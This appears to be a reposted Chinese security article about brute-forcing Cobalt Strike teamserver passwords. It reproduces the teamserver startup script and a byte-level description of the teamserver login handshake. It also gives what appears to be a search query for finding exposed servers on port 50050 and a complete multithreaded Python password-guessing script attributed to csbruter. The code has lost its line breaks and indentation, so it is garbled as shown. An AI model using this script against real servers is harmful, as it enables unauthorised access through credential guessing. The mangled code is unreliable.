文章来源 ：洛米唯熊

if [ -e ./cobaltstrike.store ]; then    print_info "Will use existing X509 certificate and keystore (for SSL)"else    print_info "Generating X509 certificate and keystore (for SSL)"    keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"fi
# start the team server.java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

4 Byte Magic \x00\x00\xBE\xEF1 Byte Password Length (unsigned int)Password (unsigned int cast char array)Padding \x65 "A" * ( Length( Password ) - 256 )

\x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA

\x00\x00\xCA\xFE

\x00\x00\x00\x00

conn.open(host, port)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)

"Cobalt strike" && port="50050"

#!/usr/bin/env python3
import time,socket,ssl,argparse,concurrent.futures,sys
MIN_PYTHON = (3, 3)if sys.version_info < MIN_PYTHON:    sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",                    help="Teamserver address")parser.add_argument("wordlist", nargs="?",                    help="Newline-delimited word list file")
args = parser.parse_args()
class NotConnectedException(Exception):def __init__(self, message=None, node=None):self.message = messageself.node = node
class DisconnectedException(Exception):def __init__(self, message=None, node=None):self.message = messageself.node = node
class Connector:def __init__(self):self.sock = Noneself.ssl_sock = Noneself.ctx = ssl.SSLContext()self.ctx.verify_mode = ssl.CERT_NONE        pass
def is_connected(self):return self.sock and self.ssl_sock
def open(self, hostname, port):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(10)self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():            ipaddress = socket.gethostbyname_ex(hostname)[2][0]self.ssl_sock.connect((ipaddress, port))else:self.ssl_sock.connect((hostname, port))
def close(self):if self.sock:self.sock.close()self.sock = Noneself.ssl_sock = None
def send(self, buffer):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")self.ssl_sock.sendall(buffer)
def receive(self):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")        received_size = 0        data_buffer = b""
while received_size < 4:            data_in = self.ssl_sock.recv()            data_buffer = data_buffer + data_in            received_size += len(data_in)
return data_buffer
def passwordcheck(password):if len(password) > 0:        result = None        conn = Connector()        conn.open(args.host, 50050)        payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))        conn.send(payload)if conn.is_connected(): result = conn.receive()if conn.is_connected(): conn.close()if result == bytearray(b"\x00\x00\xca\xfe"): return passwordelse: return Falseelse: print("Do not have a blank password!!!")
passwords = []
if args.wordlist: passwords = open(args.wordlist).read().split("\n")else:for line in sys.stdin: passwords.append(line.rstrip())
if len(passwords) > 0:    attempts = 0    failures = 0
    with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
        future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check):            password = future_to_check[future]try:                data = future.result()                attempts = attempts + 1if data:                    print ("Successful Attack!!!")                    print ("Secquan NB!!")                    print("Target Password: {}".format(password))            except Exception as exc:                failures = failures + 1                print('%r generated an exception: %s' % (password, exc))
else:    print("Password(s) required")

https://github.com/ryanohoro/csbruter

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